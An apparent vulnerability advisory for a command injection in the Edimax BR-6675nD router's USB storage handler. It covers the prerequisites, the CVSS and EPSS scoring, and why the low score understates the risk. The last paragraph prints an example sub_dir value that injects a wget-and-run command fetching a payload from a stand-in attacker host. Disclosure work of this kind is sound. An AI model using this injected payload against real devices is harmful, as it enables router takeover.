Edimax BR-6675nD CVE-2026-9400

Exploitation requires low-privilege authentication (PR:L per CVSS 4.0 vector) to the Edimax BR-6675nD web management interface - any valid login credential suffices; administrator-level access is not required per the CVSS rating. The attack is delivered remotely over the network (AV:N) with no additional trust prerequisites (AT:N) and requires no user interaction (UI:N). The specific vulnerable endpoint is the USB storage configuration handler at /goform/formUSBStorage; the USB storage management feature must be accessible via the web interface. Exploitation is limited by the need for at least one valid login account, but SOHO devices with default credentials effectively reduce this barrier to none. The attack does not require the USB storage feature to be actively in use - only that the endpoint is reachable and the handler code is present in the firmware.

The published CVSS 4.0 score of 2.1 is a notable outlier for a network-reachable command injection with a public exploit. The low score is arithmetically driven by the all-LOW impact ratings (VC:L/VI:L/VA:L) and no scope change (SC:N/SI:N/SA:N), which appears inconsistent with typical OS command injection impact on an embedded router where full device compromise is a realistic outcome. Security teams should treat the CVSS score with skepticism and evaluate actual impact independently. The EPSS score of 0.84% at the 75th percentile reflects above-average exploitation likelihood relative to all CVEs, consistent with the presence of a public PoC (E:P in the CVSS 4.0 vector). No KEV listing is present, so confirmed active exploitation in the wild is not established at time of analysis. PR:L (low privileges required) in the CVSS vector is a meaningful limiting factor: unauthenticated mass scanning is not directly applicable. However, SOHO routers frequently use default or weak credentials, significantly reducing the real-world barrier. The combination of public PoC, no vendor patch, and unresponsive vendor elevates the practical risk above what the raw score suggests.

An attacker with low-privilege credentials to the Edimax BR-6675nD web management interface sends a crafted HTTP POST request to /goform/formUSBStorage with the sub_dir parameter set to a value containing shell metacharacters (e.g., sub_dir=test;wget+http://attacker/payload+-O+/tmp/x;sh+/tmp/x). The router's formUSBStorage function passes the unsanitized value directly into a shell command, executing the attacker's injected payload with the privileges of the web server process. A public proof-of-concept documenting this technique is available at the Notion link referenced by VulDB.